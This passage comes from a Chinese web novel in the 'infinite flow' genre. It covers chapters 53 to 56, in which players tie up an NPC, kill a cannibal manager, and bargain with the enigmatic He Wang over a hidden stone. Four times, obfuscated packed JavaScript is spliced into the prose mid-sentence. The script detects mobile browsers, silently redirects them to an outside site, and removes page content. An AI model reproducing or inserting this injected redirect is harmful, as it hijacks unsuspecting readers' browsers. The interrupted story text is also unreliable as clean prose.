说不定明天一早,自己就会被□□逼到三楼办公室,孟锦竹已经说过了,她今天差点被那两人抓住,说明玩家已经踩在了“不能出副本”的临界点上,有的早一点,有的迟一点,就像是树上的果子,在这两天基本上都会成熟了。 林屿的力气不算很大,她压在枕头上的手被大力扯开,就要压制不住了,这时她果断从背包中拿出匕首,用了给予技能,在挣脱他手掌的同时将刀刃部分给予到□□的手心,察觉抓空的他使劲一握,匕首刺穿手掌,鲜血涌出,他因吃痛而忘记反抗,林屿得以继续这场“谋杀”。 他的反抗力度越来越弱,有那么一会儿,林屿觉得自己像个家庭节目里的杀人犯,会上法制节目的那种,最后获赠一双银手铐,作为反面教材事迹被广而播之警示他人。 她摆脱脑海里的想象,手却没有松开。她必须让他失去行动力。 □□不动了,为了防止他使诈,林屿又捂了一小会儿,随后撤掉枕头,探得他还有一丝鼻息,心里松了口气。 她拿出绳子——在行动之前孟锦竹交给自己了,正要把这个NPC捆上,一抬头,贺望就站在床边,黑暗里一双明亮的眸子幽幽地盯着她,不知看这一幕看了多久。 林屿:“……” 有种干坏事被目击全过程的心虚。 54. 第五十四章 为了掩盖这一瞬间波动的情绪,林屿出声质问:“你怎么招呼也不打就闯进我的房间?” “你白天不也这样进了我的房间吗?”贺望说道,“再说,我哪次打过招呼?” 林屿:“……” 还真是,真该找他算算这笔账。 贺望抬了抬下颌,示意看床上的NPC,“你该再捂一会儿,他还没死。” “我知道。”林屿一边回答一边用绳子把人捆住,然后从衣柜里找了两双袜子塞进□□嘴里,让他醒来也没法大呼小叫,希望他不要介意。 他又道:“这个时候心慈手软?这些NPC可是想害死你们。” 林屿头也没抬,“对那两个主谋我不会心慈手软,但这个人只是工具。” □□是一个工具人,既是副本的工具人,也是其他NPC的工具人,他没有跳出自己的逻辑:维护副本规则,保障副本进行,以及听从上级命令。也就是说,他没有自主性。 此时他已经失去意识,林屿可以下手永绝后患,也可以留他一命保存自己的善良,不过她这样做却是为了别的。 一回生二回熟,林屿迅速把这个NPC绑得结结实实的,然后伸手摸向他的后颈——孟锦竹提起过,他们的弱点可能在这个位置。 贺望看到她的动作,眼眸一暗,“你在做什么?” “寻找你的秘密。”林屿正巧在观察他的表情,心里有了判断,看样子NPC的后颈上真的有什么蹊跷,然而来回摸索,始终没找到异样的东西。 “可以帮我开下灯吗?”林屿道。 过了几秒钟,贺望才走过去开灯,“我的秘密可不在这里。” “那我就是在找副本的秘密。”林屿就着灯光,把他的衣领撩开,翻来覆去地看,然而没发现任何东西。 NPC的后颈什么也没有,为什么言教授要特别提醒这里呢?难道只有特殊技能的人才能看到? 贺望开灯后一回头,柜子上的断耳进入视线,他明显怔愣了一下,不可置信地问道:“……你还有这个爱好呢?” 林屿头也不抬,“我捡的。” “捡的?”他忽然了悟,“原来是想试验我的之前说的话,不过现在已经晚了,你又多留了一天。” 林屿没有理他,继续翻找着□□的后颈,甚至有扩大搜索范围的趋势。 因为昨天他睡过的床已经“横尸”了一个NPC,贺望自觉地坐到了原本属于林屿的床上,一点也没有鸠占鹊巢的犹豫,他看着扯□□领子的林屿,不知为何感觉这个场面有些碍眼。 “这样可是找不到的,你得集中精神,仔细一点。” 林屿回头看了看他,贺望的神色非常放松,不知是不是笃定自己什么也发现不了。但他说“仔细一点”的时候,又没有任何讥嘲的意思。 林屿拿出手电,□□的后颈上出现一块明亮的光斑,她仔细调整着角度,一个毛孔一个毛孔地看过去。 如果他真的在提醒自己,说明那个东西很小,很细微。 忽然,光斑中出现了一点阴影。 找到了! 那是一根细如牛毛的长针,白色的,不知是什么材质,能像金属一样弯折,它大约有一个手掌那么长,能够想象它是如何刺入颈骨深处,在NPC的神经和脊髓中扎根的。 “这是什么?”林屿觉得贺望一定知道答案。 “你应该已经猜到了,这个,就是NPC身上的束缚。”贺望好整以暇地指了指被捆成粽子的□□,“你已经帮他拿掉了束缚,猜猜看,他一醒来是会感谢你还是会杀死你。” “当然是感谢我咯,不然还恩将仇报吗?”林屿毫不脸红地大言不惭。 贺望轻笑一声,“这可说不准。” 林屿当然知道这点,自己帮NPC拿掉了必须遵守规则的束缚,他应当会恢复记忆,并有了自主行动的空间,但是,他会作何反应取决于他的认知,假如他觉得玩家是敌人,依然会继续做副本的帮凶来迫害他们,甚至因为可以“灵活变通”了,会比以往更加麻烦。 “那你呢,你就是像他一样拔除了束缚的NPC?”林屿直直看向他。 贺望似乎嗤笑一声,“我从来没有被束缚过,当然也不是NPC。” 是了,他一直都如此自由,如此随意。 林屿之前在暗道和三楼房间都没见到过人,而副本就这样大,还处处都有监视的目光,他没有别的地方可以躲藏,因此她有充分理由怀疑他已经不在这个副本,跑去别处了,他这样乱窜副本的能力是独一份的,她还没有在别的NPC身上见到过。 不对,真的没有别的躲藏地方吗?林屿脑海中出现了一扇锈迹斑斑的铁门。 “你去过负一楼的铁门后面没有?那里有什么?” “那个地方啊……”贺望看着她隐含期待的目光,忽然恶劣一笑,“我没去过。” 林屿眯起眼睛,又听他说道:“我可没有你那么强的好奇心,什么地方都想去看一眼,毕竟我不需要解谜过本,铁门那边是单向门,需要两个人配合开关,你觉得会有人和我配合吗?而且那里属于NPC都知道的公共区域,就算要藏东西也不会藏在那里。” 所以重点是最后一句话吧,不会有人在那里藏东西。林屿确定了,说什么会跟自己一个副本,那只是他顺便,他就是来找东西的。 不过,他完全把自己和NPC区分开来,有一种和玩家一样不愿与他们为伍的意思,所以他是玩家?玩家也是可以出入不同副本的,只不过必须通关一个才能进行下一个。 他就像一个综合了玩家和NPC优势的bug,还可恨地是一个谜语人。林屿暗暗咬牙,她一定要扒下他的所有马甲看到他的真面目! “我要找的东西你有眉目了吗?” 果然,下一句话贺望就进入正题,问出他此行的目的。 林屿本想回不知道,却忽然想到什么,思索了一会儿才说道:“你要找的是一块棕色的,透明的,里面有很多褶皱的石头?” 贺望瞬间坐直身体,“你找到了?” 林屿没有回答这个问题,又问,“你说的这种石头有多大?” “什么大小都有,不过一般是米粒到鸡蛋那么大吧。” “那我可能知道在哪里了。”她说道,痛快地给出答案,“在经理的假牙上,外面刷了一层白釉。” 就是先前她在盥洗室看到的那颗奇怪的、有深色刮痕的假牙。 贺望一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495296|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌弃外加咬牙切齿,“原来如此,我就说怎么到处找不到,原来是藏在这里了。” 林屿有些同情他,这个地方属实不太好下手,而且恶心,不过自己的任务已经完成,“我已经帮你找到东西了,至于能不能拿到是你的事,记得你欠我一次。” “行。”贺望道,“只要你的消息是真的。” 假的她也没损失,林屿默然片刻,似乎在等待什么,忽然玩家房间传来一阵骚乱,伴随钱刚的大喊大叫。 来了。 林屿忽然对他说道:“其实我和董事长做了个交易。” “什么?” “他在找偷戒指的小偷,而我恰好想找他看玩家的合同,所以……”林屿吞吞吐吐。 “所以,你、不、会、把、我、卖、了、吧?”贺望再也没有心思舒服地靠着床头看戏了,蹭一下站起身,咬牙说道。 “可是我已经看了合同……”林屿一脸抱歉,“可能你得快一点了,你知道,今晚我连门锁都没了……” 还没说完,贺望便黑着脸挪开床架,啪地关上了暗道活板,消失在房间里。 走了?林屿等了两分钟,打开传信纸写道:好了。 随后再一次掀开暗道入口,顺着直梯爬了下去。因为早就知道夜里他会过来,所以她自然想好了怎么应付,她考虑过让贺望加入计划,但在方才,她改变了主意。 他想要的东西,一定很重要,自己为什么不能拿到手呢? 林屿在中间的直梯口见到了孙覃,他看见队友后,也没有问刚才怎么让他等一等再下暗道,指了指上方,便第一个向上攀爬。 林屿紧跟其后,听见楼上传来的叮里哐啷的响动,就像是一桌子东西被掀翻了或者什么家具坏掉了,看来上面的状况很激烈,钱刚正在拼命抵抗。 孙覃加快了攀爬的速度,然而等他摸到顶,先前的噪音一下子没了,隔着一道薄薄的挡板,房间安静得可怕,像是从闹市一下子变成了坟墓。 孙覃原本想要冲出去救人,现在他的手刚刚抵住房间地砖,感受到变化后动作一下子凝固住了,后背悄然窜出一股寒意, 上面发生什么了? 他深吸一口气,慢慢地推开了活页,外面乌漆嘛黑一团,什么也看不清,他小心翼翼地探出头,准备查看房间的情况。 有微风打在脸上,同时,他闻到了一股血腥味。 孙覃的眼前依然是一片黑暗,他努力让自己适应夜晚,过了几秒钟,他发现这不是自己的原因——在他的正前方,有什么东西挡住了视线,几乎和他贴着脸。他感受到的风,竟然是眼前人的呼吸。 借着聊胜于无的光线,他看见了一双浑浊可怖的眼睛。 林屿察觉到了不对劲,爬在前面的孙覃不动了,对她的拍腿提醒也没有反应,不知是不敢出声还是怎么回事。 他应该给出信号的,如果外面没什么问题,他们就会悄悄地出去偷袭经理,如果情况不对,他也应该会立即返回,跟她在暗道里伏击。现在他在梯子上方停了有几分钟,和一个木头人一样,不知是在寻找时机还是被吓到了。 林屿刚想让他先下来,就看见自己的队友嗖一下子像个麻袋一样被拖了上去,消失在洞口。 55. 第五十五章 不好! 林屿立刻跟了上去,冲出暗道口,正好看见孙覃的双腿从床下被拖出去的瞬间,她立刻扑过去,双手往前一抓。他的裤脚堪堪擦过手指,从指缝间滑走,随后消失在床下狭窄的视野里,她的正前方唯有一双站立着的、男人的腿。 林屿动作一顿,没有花时间转身,而是立刻手肘撑地,向后退着爬走,事实证明她的判断是正确的,一个脑袋斜倒着从床下不过四十厘米的视角范围中出现,先是圆弧形的头顶,然后是在黑暗中模糊撑一团,却仍然不减狰狞的眉眼,好似厉鬼巡视一般窥视着床底的情况。 如果她刚才上前,说不定额头会直直撞上那张脸,就算侥幸没有受伤肯定也会心悸很久。 靠!林屿忍不住在心里骂人,经理比想象的更危险,他解决掉钱刚只用了很短的时间,而被拖走的孙覃也不知是什么情况,到现在都没发出声音或者弄出什么动静,就好像已经遇害了一般。 她必须立刻从床底出去,这个位置根本无法反抗,只能被动挨打、任人宰割。 经理看见床下向反方向撤离的人,迈开腿往另一边走过去拦截,林屿发现了他的意图,又往另外的方向挪,现在唯一的幸存者就是她了,她不能和孙覃一样被拖出去。 经理似乎用了什么手段让人失去行动力,如果她也中招,那就是全军覆没,三个人都没救了,等着被厨师做成美餐吧。 说不定自己的肉还会和钱刚的肉混在一起,在一口锅里沉浮。 想到这里,林屿一个激灵,躲避的动作快了一倍。 经理绕到另一头,看见离自己更远的人影,冷笑一声,“白天我房间里进了老鼠,本来还在想是谁,抓到他一定要让他千刀万剐、受尽折磨,没想到从暗道里出来的是你们两个!” 他又往另一边走去,这回的步子也加快了很多,“别躲了,躲不过去的,你的同伙已经被我逮住了,你猜我会怎么对他?我会先用几根签子从他的脊背穿过……” 就在经理详细描述活人烧烤的做法时,被丢弃在一旁满脸鲜血的钱刚悠悠醒转,看见绕着床向自己靠近的人影后发出一声惊恐的惨叫,挣扎着扑倒在地,往门的方向连滚带爬,经理见状立刻反身追杀。 钱刚跌跌撞撞地起身摸到门把手——万幸门锁没有坏,他打开房门,看着外面漆黑的走廊,来不及犹豫会不会违反规定,或者害怕前方黑暗里蛰伏的危险,被身后人带来的恐惧驱使着,直直向外冲去。 然而他刚迈开一条腿,就浑身僵滞,无法动弹,就像先前他被抓之前那样,钱刚满心绝望,他知道这次再被抓住就不会再有什么机会逃脱了,求生欲望下,拼命地压榨着自己的技能,希望能给经理造成阻碍。 技能像一个无情的破坏机,让这短短几步路变故平生,桌子坏了,吊灯坏了,门框坏了,窗玻璃也碎了,床也塌了,经理的步伐被这些意外弄乱了些许,然而钱刚身上的僵滞却完全没有消散,甚至因为反抗弄巧成拙,激怒了这个NPC。 只听见露骨内传来一声闷重的回响,钱刚的后脑勺一阵剧痛,随后便人事不省。 经理的手中拿着一柄手臂长的斧头,用刀背一侧解决了原本的猎物——他向来不喜欢把人直接弄死,那会坏了肉的鲜度,随后反锁了门,用倒塌的柜子堵住门口,回过头来,阴恻恻地看着额外的加餐。 就在方才床塌的瞬间,林屿千钧一发地出了床底,免于被压成饼的命运,然而她虽然逃脱了,从暗道回去的退路却被封锁住,现在除了走大门出去,他们已经逃无可逃。 逃无可逃,那就开打,他们本来就是前来解决这个NPC的。 孙覃在床塌之前,不知怎的恢复了行动力,他翻身下来,给林屿帮了把手,现在两人和门口的经理对峙着。 说是对峙,实际上只有一方严阵以待,为非作歹的NPC并没有将他们放在眼里,他甚至有心思在靠近两人时回顾自己的心理历程。 “本来嘛,我还在纠结今晚要不要打猎,毕竟那个讨厌鬼刚刚警告过我,但是每次来那么多羔羊,怎么可能都归他一个人享用,我只是想找点乐子不是?”经理甚至用的是一种“你也会认同我”的语气,“我被关在这个破地方那么久,再看一眼一模一样的墙壁和房间都要吐了,我这么可怜,你们就不能成全成全我吗?” 讨厌鬼?能被这样称呼并且能警告他的人就只有董事长了,看来两人分赃不均啊。林屿冷笑一声,“我们命都要没了,你就不能成全成全我们,现在就去死。” 话刚说完,她就没法张口了,一种僵硬的感觉充斥着每一寸肌肉,她的身体不听指挥,绷在原地不肯动弹。 几乎是一瞬间,她就想到了缘由——技能! 经理这个NPC,竟然拥有了技能! 来不及吃惊或者思考为什么副本NPC也会拥有类似玩家的能力,林屿一下子明白了孙覃先前的异样,他是中了经理的技能所以才没法动弹,这个技能可能是有时间限制,也可能是控制人数限制,在经理追击钱刚的时候,孙覃恢复了行动力。 余光里,孙覃动了,脸颊、脖子、双手,他身上裸露的皮肤覆盖上一层钢铁的颜色,如炮弹一般冲向经理,然而在迈了两步之后,他的动作一下子停了下来——在解决掉钱刚之后,经理又把技能用回他的身上。 与此同时,林屿感觉关节上的大锁正在松动,她连忙变换身位,让经理无法一次性解决两个人,但自己似乎不被放在眼里,经理没有再次转换僵滞对象,或许是认为不靠技能也可以搞定她。 经理试图用同样的方式敲晕孙覃,然而在他技能生效的期间,孙覃也没有解除自己的技能,在斧头柄和钢铁脑袋的碰撞震麻了手之后,经理放弃敲晕这个人,手握斧头,狞笑着向房间内唯一能动的人逼近。 林屿被逼到角落,看见经理抬起斧头,准备像敲晕钱刚一样敲晕自己,这时她手里出现了一把匕首,向前一送,直直向他脖子捅去。 由于经理从未想过会被玩家反制的情况,劈人的动作做得很夸张,手高高举起、重重落下——这一套表演更多是为了加深猎物的恐惧,越恐惧越能让他兴奋,他做了这一套动作不知有多少次,已经成为他本能下的肌肉记忆了,方才敲晕钱刚也是抬得这么高,可惜钱刚背对着他没有看到。 因而林屿突然掏出一把刀,对着他要害闪电般穿刺而来的时候,他的斧头还没有落下去。 经理出了一身冷汗,就在刀尖即将刺中他的时候,险之又险地把技能用在了面前人的身上。 林屿动作停下,眼睛却直直盯着他,那眼神映出黑夜的暗光,仿佛他才是猎物一样,让他心头一悸,就是这一愣神的时间,恢复行动力的孙覃从经理身后接近,双臂如铁牢一般锁住他的脖颈,在大力之下,他的颈骨发出脆弱的鸣响。 经理一手去掰孙覃的手臂,一手扬起斧头往身后的人身上砍去,只听见“当啷”一声金铁交鸣的脆音,斧头被震开,而身后的人毫发无损,箍住他脖子的手臂也没有丝毫松动。 经理绝望挣扎,用斧头一下一下徒劳地往身后挥,然而在第二阵鸣响过后,他的手臂停在原处,挥不动了。 不止是因为力气的流失,他浑身上下的肌肉都绷紧了,并且完全不听从大脑的指挥。僵滞——他的技能,怎么会回到他自己身上?他脖颈剧痛,大脑缺氧,怀疑自己在慌乱之间用错了对象。 还想继续挣扎的经理犯了一个致命的错误,他解除了自己的技能,随后,心口一凉。 由于身前横着手臂,经理没办法看到自己的身体,砍过无数人头手脚的斧头从无力的手掌间滑落,“咚”地落了地。他颤抖着双手慢慢往心口摸去,首先摸到的是一手滚烫的血,那是他最喜欢的温度,但绝不想从自己身上感受。 他摸到了心口没柄而入的匕首,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495297|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于意识到,他的命已经到了尽头,就和一批又一批一无所知进到这个减重营的玩家一样,但只有此刻,他才知道他们的恐惧与不甘。 他虐杀玩家,喜食人肉,主宰他人的生死,从惨叫中肆意放纵内心阴暗的欲望,可他却没有想象中的快乐。 究竟是谁,把他关在这里的啊…… 经理死了。 孙覃感知到了这一点,手臂下的动脉,没有脉搏了。 他松开了这个NPC,任由他失去依凭的身体栽倒在地,血泊慢慢扩散,很快就到了他的脚下,他后退一步,像是想起什么似的,转身开了灯。 一室狼藉。 倒塌的床柜、横在地面上身体、孙覃亮银色的皮肤,以及林屿手中的鲜血——在黑暗中发生的一切瞬间明晃晃地摆在眼前。 他们杀死了经理,这个威胁到玩家性命的NPC,完成了今晚的目标。 钱刚人事不省地歪倒在门口,孙覃前去试了试他的鼻息,还有,于是把他拖到唯一一张完好的床上,给他盖上被子保暖,除此之外,他也无能为力了。 可惜没有早一步过来,不然就能多救一个人,想到这里,他抬头问林屿:“之前为什么让我等一下?” 林屿正在回收匕首,现在看来这种能伤人的武器真是用处很大,尤其像这种能带出副本的道具。她在衣柜里找了件衣服擦血迹。 闻言并没有抬头,“因为那时候正好有一个人在暗道里,我不确定他的立场,所以要等他走了再行动。” “原来如此。”孙覃想了想,本来对她说的人是谁一头雾水,但是不知为何鬼使神差地想起那个镜子房间里被她带来给自己驱灵的男人——他有些过分好看了,尤其是那双金棕色的眼睛,总是让他想起丛林里的野兽,令他印象深刻,“是那天在镜子房间的NPC?” “是他,不过我不确定他是不是NPC。”林屿回答。 诚然,她让孙覃等待,有一部分原因是想拖延营救的时间,让钱刚吃些苦头,但她也知道情况瞬息万变,在经理没有解决钱刚之前三人一起动手胜算更高,解决经理和坑钱刚之间是前者更为优先。但最重要的是,她不能让贺望加入今晚的行动,他的变数太大了。 贺望对她展现了友善,这不假,但在此之前他还想杀了他,展现“友善”的一次做法也是“杀死她,让她得以在彻底同化之前脱离副本”,这种行为无疑让人不能接受。他的身份和立场是个迷。 林屿本来想要信任他,然而在知道田子阳暗地里的小动作之后,她改变了主意。 在随性而为上,田子阳和贺望是相似的,他们的行为不可控,而在堵上性命的时刻,任何一个行动都不能有任何犹疑,因此,即使在对付经理这一点上贺望的立场和他们相同,她也不能让他加入。 林屿用脚尖拨弄了一下经理,这一个玩家夜晚的恶魔死去之后,尸体和一个普普通通死去的人没什么区别,脚下血泊已经没有继续扩大,可现场依然像发生了凶案,而她所扮演的,正好是凶手的角色。 注意到孙覃欲言又止的表情,林屿的右手抓握了几下空气,就在方才,自己的这只手结果了一个性命,虽然他恶贯满盈,但好歹有个人形;虽然他疑似数据假人,但他拥有思想、情感,即使那思想情感已经扭曲。 她有了杀死一个人的真实感。 但她不得不这样做,因为她注意到了孙覃的犹疑。就像自己对□□手下留情一样,孙覃也本能般地反感这样类似于“犯罪”的行为,他可以制住NPC的行动,把他们打成重伤,但却无法下手结束他的生命。 他的底线太高了。 林屿知道这种左右为难的感觉,正好,计划是她提出的,那么她来完成这一切也是理所应当,何况她不觉得这有什么问题。 生存是人的本能,为了生存清除阻碍是正义而不是恶行——她已经完全想明白了这一点。 56. 第五十六章 林屿用衣服包裹着手,果断取下经理的假牙,掰下那颗有问题的牙齿,放在手心仔细查看。 直觉告诉她,这个东西非常重要。 为什么偏偏是经理和董事长两个有自我意识的NPC随身携带着它,为什么贺望连NPC都不演了而一定要得到这个东西,它究竟是什么,有什么用途,而又原本来自什么地方呢? 这些问题是想不明白的,要知晓答案,唯有继续探索。 林屿用手上的布料把这颗“牙齿”擦干净,暂时没有处理外层顽固的白色釉料,直接揣进了自己兜里。 孙覃的皮肤已经恢复自然色,危险解除,他自然不需要维持技能,不过一个成年男子的力气可比她大多了,林屿指了指地上的经理,对他说道:“可以帮我抬一下吗?” 她示意那张倒塌的床。 经理被放在了坏床上,面朝下,背朝上,在孙覃疑问的眼神中,林屿故技重施,用手电筒的光寻找着那根白色的刺,这回不知是不是因为人已经死了还是他太肥胖了,她没找到。 林屿本来还想去关个灯,再继续找,但抬头看见孙覃已经拿出传信纸开始写字,后知后觉地意识到两人已经在这个房间留了很久,于是放弃了这项费眼睛的工作,清理起暗道出口来。 挪开床架,孙覃指了指经理尸体,问道:“怎么处理?” 林屿看了眼黑漆漆的暗道,做出决定,“丢下去,拖到宽敞点的地方不要挡路。”就让他的尸体在他自己挖出的地方发酵吧。 两人合力抬起经理,场面一度像极了抛尸现场,看着眼前的大好青年被荼毒成了可以上法制节目的样子,林屿内心微妙得难以形容,她默默移开眼睛,在心中重申:现在是在副本里,他们都是杀人犯,自己是为了保全更多人。 暗道底部传来闷重的撞击。 林屿走在最后,下直梯时,她回过头看了一眼昏迷在床的人,收回目光。只要钱刚不继续危害自己,那么她也不会再暗算他。 她伸手,“咔嚓”扣上暗道的开合扣,隔绝了从外向内的通道。 …… 回到自己的房间,林屿看见了一个这个时候本该在经理办公室的人——贺望。他又重新返回了这里,坐在靠背椅上,神色莫测地看着她。 椅子的方向正对着暗道口,也就是说,他是专程在等着自己,而自己一冒头,就已经被他盯住了。 想必他在经理办公室一无所获。 林屿当做什么也不知道,神色如常地爬出来打了个招呼,“你找到东西了吗?” 他怎么可能找到了东西,东西在自己兜里。 贺望像是没有听到这句挑衅一样,用一种奇异的眼神从上到下完整地把人看了一遍,“我可从来没有想到,你的胆子会这么大。” “以前从来没有玩家敢杀NPC吗?我可不信。”林屿玩笑般地说道,她看了眼空空如也的床铺和不时发出响动的衣柜,拖着疲累的身躯坐在床沿,姿态随意,像是他惯常的态度一样。 “我说的不是这个。” 她知道他说的是自己明目张胆抢夺他目标物品的事,但这一回,她懒得再主动解释什么,直接拿出匕首在手中把玩,威胁意味不言而喻。如果他撕破脸上前抢夺,她也不介意在他身上扎个窟窿。 “你变了很多。”贺望没来由地说了一句,或许是她现在的模样和以往谨小慎微——至少大部分时候是这样,的形象太不一样了,他一时无法消化这样的转变。 “没办法,为了能从这个鬼地方出去。” 她不止要离开这个副本,还要离开这个“游戏”。 “你知道我是为什么要找那样东西吗?”贺望问她,又喃喃回答道,“因为它对我很重要。” “它对我也很重要。” 林屿靠着床头撑起身子,现在没有了经理,她可以自由地躺在床上,而不用担心地板下什么时候忽然钻出个拿斧头的人了。 “我不知道你为什么想要,如果你愿意说一说原因,也许我会有兴趣听一听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“都错了。”贺望否认道,他略略一掀眼皮,“如果我是,第一件事就是把你坑进小黑屋,还用得着这样苦口婆心、低声下气地求你交易吗?” 林屿轻咳一声,心虚地移开目光,“交易就交易嘛,说什么低声下气,大家都是平等互惠,哪里有什么高下之分。” 她觉得如果再不松口,也许今晚两人就这样僵在这了,那自己也别想休息,要知道,明天还有个更危险的家伙在等着呢。 “其实也不是不行,但不是现在给你。”林屿说道,“之后,等我想到合适的条件,就和你交易。” 贺望略微放松了些,又听她说道:“不过——帮你找东西我是找到了的,你有没有拿到不关我的事。” 闻言,他一阵无语,目光幽幽地看着她,“真的不关你的事吗?” 林屿收起已经派不上用场的匕首,试图转移话题,“那个……我准备休息了哈。” “你知道我听了你的话,去他办公室遇到什么了吗?”贺望并不准备放过她的良心,继续控诉道,“厨师,他竟然在那里,要不是我躲得快,早就成了菜刀下的亡魂了。” 他伸出被砍破的袖口,“你不准备负一下责吗?” “厨师在经理办公室?”林屿吃惊道,这情况她可没有想到,夜里厨师竟然不回房间睡觉,去另一个NPC那里串门,转念一想,两人都串通在一起了,那给经理做口新鲜的也是他的分内之事了。 幸好她没有把计划地点放在办公室,不然就糟了,一个经理就这么难对付,再冒出个身强力壮的帮手,说不定直接全军覆没。 在贺望谴责的眼神下,林屿反思了一下刚才的发言,自己的第一反应是关心突然冒出来的NPC而不是他受伤的袖口,实在是坑了人又没有人情味,于是亡羊补牢道:“那你没事吧?厨师没追过来吧?” “没有。”贺望低头理了理衣袖,“被我宰了。” 林屿:“……” 行吧,这位其实也不需要担心。 但无论怎么说,这位都替玩家解决了一个大麻烦,林屿表示不再计较他胡乱霸占自己房间的事情,换来贺望的不屑冷哼。 “咚咚。”□□又在衣柜里挣扎,贺望走过去给他来了一下,一声闷响过后噪音消失,他回过身说道:“希望他一觉睡到明天早上。” 林屿默默地翻译:希望他昏久一点。 折腾这么久,时间肯定已经过了零点,柜台上的断耳却一点消失的迹象也没有,先前的猜想被肯定了,这里动了某种手脚,到达某个点后即使死亡也无法脱离副本。 林屿掏出传信纸写了几句,把这个信息告知队友,忽然,她想起什么,对贺望说道:“对了,每次都是你来副本找我,如果我想找你去哪找?” 她补充道:“比如我想到了交换条件,要怎么通知你?” 贺望目光下移,落到传信纸上,“你不是有个现成的吗?” “这个……”林屿犹豫了不到一会儿,果断撕下一半递给他,“行吧,你拿着。” 反正上面也没有写什么机密的东西,到时候回去说明情况,把这一页专门用来联络他,听说韩舒的本子一共有十五页,应当不缺这一张。 贺望略感意外,“就这么给我了?” “在这里,我们是同一战线的,不是吗?”林屿意有所指。 贺望眯眼,瞬间理解她的意思,“你都这么坑我了,还想让我帮你对付别人?董事长可不是普通NPC。” “我知道,他也有技能。”林屿顿了顿,“你知道他的技能是什么吗?” “你觉得我会傻站着等他用技能?” 行吧,看来这位身法了得,偷完东西不等主人反应过来就跑了。林屿已经在暗地里猜测他的技能是什么了。穿梭副本、皮肤硬化、身法迅捷、神出鬼没,在上一个副本甚至设置了循环之路来拖延自己,他展现出的能力已经不能用单一技能概括了,甚至用两种技能也概括不了,她怀疑面前的这个人拥有两个以上的能力。 “对了,我还没有问过,你每次都是怎么找到我的?”林屿好奇这个问题很久了,一次两次,现在第三次副本他都露面了,充分说明贺望有办法定位她的位置。 贺望沉默了一会儿,起身关灯,房间顿时笼罩在一片黑暗之中,“每个人都有他们独特的味道。” “味道?” 过了好一阵子,就在林屿以为他不会再回答的时候,忽然听见一句低声的问询,“你真的一点也不考虑换自己离开吗?我以为,没有人能拒绝这个条件。” “不考虑。”林屿几乎是本能般地给出了这个回答,当察觉到这一点时,她自己都愣在原地,喃喃出声。 “为什么?”她为什么要拒绝呢?她甚至都没有想过这一点。 “你一定要和刚刚认识没几天的人‘同生共死’?”贺望把“同生共死”几个字咬得很重。 林屿心头一跳,当然不会! 自己明明对这里被拉进来的玩家没有什么责任感,唯一在意一些的只有组织里刚刚认识不久的同伴,但要让自己用生命自由来换不离不弃,那也是做不到的,毕竟认识他们还没几天。 所以她为什么想都不想就拒绝了这个所有玩家梦寐以求的提议呢?仅仅是担心贺望不可靠? 林屿原本靠着床头准备躺下,现在躺到一半,却一动不动地维持了好一会儿,仅靠一只手撑着全身重量。终于,这只手在重担之下僵麻,她身子一歪,摔倒在床上,终于如梦初醒,像是看见什么恐怖之物一般,惊恐地向后爬动。 脊背靠在床头,林屿瞪大眼睛扫视前方,家具的轮廓在黑暗中若隐若现,看不分明。前方什么也没有,没有敌人,没有可怕的怪物,唯有一团空茫,可她在这片空茫中,看见了自己独自离开副本的结局。 失踪案闹得人心惶惶,有人清楚内幕,有人不明就里,然而不论知道的还是不知道的,整个社会笼罩在一层阴郁惶恐的氛围之中。 失踪者一个没找回来,帖子删了又有,家属闹上街头,人们议论纷纷,眼看着矛盾愈演愈烈,一触即发,恰好此时,有一个失踪者竟然回来了。 还是全须全尾、安然无恙地归来。 媒体大肆报告,人们欣喜若狂,家属找上门询问他们的亲人被关在哪里。 而她只能说:游戏里。所有人都被卷进了游戏里。是一款新出的乙游,不,应该说是无限流,你们看过无限流小说没有,就是那个无限流。 他们骂她神经病,精神失常,就算有人半信半疑,但她根本不知道“游戏”位于哪一个空间,哪一个维度。 她就像是一个凭空出现的幸存者,先是承接了所有的欢迎,然后变成了所有人的出气筒,甚至还有人骂她: “是不是就是你干的!你就是凶手!” “真该把她抓进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495299|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “肯定是卖了别人自己回来的!” “怎么有脸一个人活着,我要是她我上门给家属磕头!” 